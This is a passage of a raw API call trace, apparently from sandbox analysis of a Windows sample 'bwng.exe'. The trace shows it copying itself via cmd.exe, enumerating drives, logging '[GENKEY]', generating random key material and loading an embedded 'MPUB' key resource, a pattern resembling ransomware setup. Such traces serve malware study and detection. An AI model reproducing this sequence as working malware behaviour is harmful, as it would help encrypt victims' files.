| out: TokenInformation=0x70b178, ReturnLength=0x18fbc8) returned 1 [0024.841] GetSidSubAuthorityCount (pSid=0x70b180*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x70b181 [0024.841] GetSidSubAuthority (pSid=0x70b180*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x70b188 [0024.841] LocalFree (hMem=0x70b178) returned 0x0 [0024.841] CloseHandle (hObject=0xec) returned 1 [0024.841] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0024.841] GetFileType (hFile=0x7) returned 0x2 [0024.841] GetConsoleOutputCP () returned 0x1b5 [0024.841] GetFileType (hFile=0x7) returned 0x2 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Admin", cchWideChar=5, lpMultiByteStr=0x1e69eec, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Admin", lpUsedDefaultChar=0x0) returned 5 [0024.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r") returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e69fdc, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0024.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n") returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e69fdc, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0024.842] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x7, lpOverlapped=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", cchWideChar=69, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 69 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", cchWideChar=69, lpMultiByteStr=0x1e94e5c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IntegrityLevel = 4 (2-low,3-user,4-admin,5-system,6-protected_system)", lpUsedDefaultChar=0x0) returned 69 [0024.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r") returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a03c, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0024.843] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n") returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0024.843] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a03c, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0024.843] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x47, lpOverlapped=0x0) returned 1 [0024.843] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0024.843] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x1e4cf24, csidl=37, fCreate=0 | out: pszPath="C:\\Windows\\system32") returned 1 [0024.845] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f964, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.845] GetTickCount () returned 0x1151ddd [0024.845] QueryPerformanceCounter (in: lpPerformanceCount=0x18fb38 | out: lpPerformanceCount=0x18fb38*=16679759633) returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0024.845] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="R") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0024.846] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18fb14, cbMultiByte=1, lpWideCharStr=0x18eafc, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0024.846] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f958, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bwng.exe")) returned 0x2e [0024.846] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C copy /V /Y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb28*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb18 | out: lpCommandLine="\"C:\\Windows\\system32\\cmd.exe\" /C copy /V /Y \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\"", lpProcessInformation=0x18fb18*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb58, dwThreadId=0xb68)) returned 1 [0025.042] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0 [0025.824] CloseHandle (hObject=0xfc) returned 1 [0025.824] CloseHandle (hObject=0xf8) returned 1 [0025.824] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nwv6rh39.exe")) returned 0x20 [0025.824] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\" -n", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fb28*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb18 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NWv6Rh39.exe\" -n", lpProcessInformation=0x18fb18*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xb4c, dwThreadId=0xb54)) returned 1 [0025.838] CloseHandle (hObject=0xfc) returned 1 [0025.838] CloseHandle (hObject=0xf8) returned 1 [0025.838] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0025.838] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0025.838] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0025.839] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0025.840] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0025.840] SetErrorMode (uMode=0x1) returned 0x0 [0025.841] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x18f97c, nVolumeNameSize=0x200, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x18fb80, lpFileSystemFlags=0x18fb7c, lpFileSystemNameBuffer=0x18f77c, nFileSystemNameSize=0x200 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x18fb80*=0xff, lpFileSystemFlags=0x18fb7c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0025.841] SetErrorMode (uMode=0x0) returned 0x1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[LDRIVES]: C:\\", cchWideChar=14, lpMultiByteStr=0x1e62c2c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[LDRIVES]: C:\\", lpUsedDefaultChar=0x0) returned 14 [0025.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\r:ﮰ\x18sers\\5p5NrGJn0jS HALPmcxz\\DesktoE") returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x1e6a084, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0025.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x4e8618, cbMultiByte=1, lpWideCharStr=0x18eb94, cchWideChar=2047 | out: lpWideCharStr="\n:ﮰ\x18sers\\5p5NrGJn0jS HALPmcxz\\DesktoE") returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0025.841] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1e6a084, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0025.841] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x10, lpOverlapped=0x0) returned 1 [0025.842] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bwng.exe\" " [0025.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[GENKEY]", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.842] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[GENKEY]", cchWideChar=8, lpMultiByteStr=0x1e62c2c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[GENKEY]", lpUsedDefaultChar=0x0) returned 8 [0025.842] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18fbb4, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x18fbb4*=0x8, lpOverlapped=0x0) returned 1 [0025.843] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16779475882) returned 1 [0025.843] GetTickCount () returned 0x1151f83 [0025.843] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.843] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.843] GetCurrentThreadId () returned 0x5b0 [0025.843] GetCurrentThread () returned 0xfffffffe [0025.843] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.843] GetCurrentProcessId () returned 0x328 [0025.843] GetCurrentProcess () returned 0xffffffff [0025.843] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.843] GetSystemTimes (in: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4 | out: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4) returned 1 [0025.843] QueryPerformanceFrequency (in: lpFrequency=0x18f4f8 | out: lpFrequency=0x18f4f8*=100000000) returned 1 [0025.843] GetUserNameA (in: lpBuffer=0x18f3f8, pcbBuffer=0x18f3f4 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18f3f4) returned 1 [0025.845] GetComputerNameA (in: lpBuffer=0x18f3f8, nSize=0x18f3f4 | out: lpBuffer="XDUWTFONO", nSize=0x18f3f4) returned 1 [0025.846] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16779802467) returned 1 [0025.846] GetTickCount () returned 0x1151f83 [0025.846] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.846] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x26)) [0025.846] Sleep (dwMilliseconds=0x0) [0025.873] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16782494412) returned 1 [0025.873] GetTickCount () returned 0x1151fa2 [0025.873] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x45)) [0025.873] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x45)) [0025.873] Sleep (dwMilliseconds=0x1) [0025.881] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16783336740) returned 1 [0025.881] GetTickCount () returned 0x1151fb1 [0025.881] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.881] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.881] GetCurrentThreadId () returned 0x5b0 [0025.881] GetCurrentThread () returned 0xfffffffe [0025.881] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.881] GetCurrentProcessId () returned 0x328 [0025.881] GetCurrentProcess () returned 0xffffffff [0025.881] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec | out: lpCreationTime=0x18f4d4, lpExitTime=0x18f4dc, lpKernelTime=0x18f4e4, lpUserTime=0x18f4ec) returned 1 [0025.882] GetSystemTimes (in: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4 | out: lpIdleTime=0x18f4d4, lpKernelTime=0x18f4dc, lpUserTime=0x18f4e4) returned 1 [0025.882] Sleep (dwMilliseconds=0x0) [0025.885] QueryPerformanceCounter (in: lpPerformanceCount=0x18f4dc | out: lpPerformanceCount=0x18f4dc*=16783761430) returned 1 [0025.885] GetTickCount () returned 0x1151fb1 [0025.885] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetLocalTime (in: lpSystemTime=0x18f4d4 | out: lpSystemTime=0x18f4d4*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] QueryPerformanceCounter (in: lpPerformanceCount=0x18f554 | out: lpPerformanceCount=0x18f554*=16783781751) returned 1 [0025.886] GetTickCount () returned 0x1151fb1 [0025.886] GetLocalTime (in: lpSystemTime=0x18f54c | out: lpSystemTime=0x18f54c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetLocalTime (in: lpSystemTime=0x18f54c | out: lpSystemTime=0x18f54c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x16, wHour=0x1, wMinute=0x36, wSecond=0x32, wMilliseconds=0x55)) [0025.886] GetCurrentThreadId () returned 0x5b0 [0025.886] GetCurrentThread () returned 0xfffffffe [0025.886] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564 | out: lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564) returned 1 [0025.886] GetCurrentProcessId () returned 0x328 [0025.886] GetCurrentProcess () returned 0xffffffff [0025.886] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564 | out: lpCreationTime=0x18f54c, lpExitTime=0x18f554, lpKernelTime=0x18f55c, lpUserTime=0x18f564) returned 1 [0025.886] GetSystemTimes (in: lpIdleTime=0x18f54c, lpKernelTime=0x18f554, lpUserTime=0x18f55c | out: lpIdleTime=0x18f54c, lpKernelTime=0x18f554, lpUserTime=0x18f55c) returned 1 [0029.358] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x128 [0029.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.359] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.359] CryptAcquireContextW (in: phProv=0x18f5e4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18f5e4*=0x70ba00) returned 1 [0029.540] CryptGenRandom (in: hProv=0x70ba00, dwLen=0x28, pbBuffer=0x18f5f8 | out: pbBuffer=0x18f5f8) returned 1 [0029.540] CryptReleaseContext (hProv=0x70ba00, dwFlags=0x0) returned 1 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0029.540] ReleaseMutex (hMutex=0x128) returned 1 [0029.540] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dc421c, cbMultiByte=256, lpWideCharStr=0x18e60c, cchWideChar=2047 | out: lpWideCharStr="494DCEE6F0485AF8DE6D74BD45E6A30D086343DD435A33FDD9659B4281B645AE613BC499AD84F8058C8FAA5A8A88315AC9C533C5E399EC312622FD1825120ECF44D6F7312D7EC38A6A120B10117A0950BB5D8E438FC849BE23EF3F2052F3E35FC4BA3B23DCE173D0146E0D19C31EB262354A3ABF6F736F7A4E58F47DF1FD5251\x01") returned 256 [0029.541] FindResourceW (hModule=0x400000, lpName="MPUB", lpType=0xa) returned 0x4f5470 [0029.541] LoadResource (hModule=0x400000, hResInfo=0x4f5470) returned 0x526164 [0029.541] SizeofResource (hModule=0x400000, hResInfo=0x4f5470) returned 0x192 [0029.541] LockResource (hResData=0x526164) returned 0x526164 [0029.541] FreeResource (hResData=0x526164) returned 0 [0029.541] FindResourceW (hModule=0x400000, lpName="KN", lpType=0xa) returned 0x4f5450 [0029.541] LoadResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x5260dc [0029.541] SizeofResource (hModule=0x400000, hResInfo=0x4f5450) returned 0x26 [0029.541] LockResource (hResData=0x5260dc) returned 0x5260dc [0029.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1e18, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0029.541] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1eb1e18, cbMultiByte=38, lpWideCharStr=0x1e8e38c, cchWideChar=38 | out: lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps\r\n42\r\n") returned 38 [0029.541] FreeResource (hResData=0x5260dc) returned 0 [0029.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0029.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", cchWideChar=32, lpMultiByteStr=0x1eb1e1c, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="56c2nvBfarTUrJIC0W4IZOt1fdb2k3ps", lpUsedDefaultChar=0x0) returned 32 [0029.541] GetCurrentThreadId () returned 0x5b0 [0029.541] GetCurrentThreadId () returned 0x5b0 [0029.541] GetCurrentThreadId () returned 0x5b0 [0029.542] 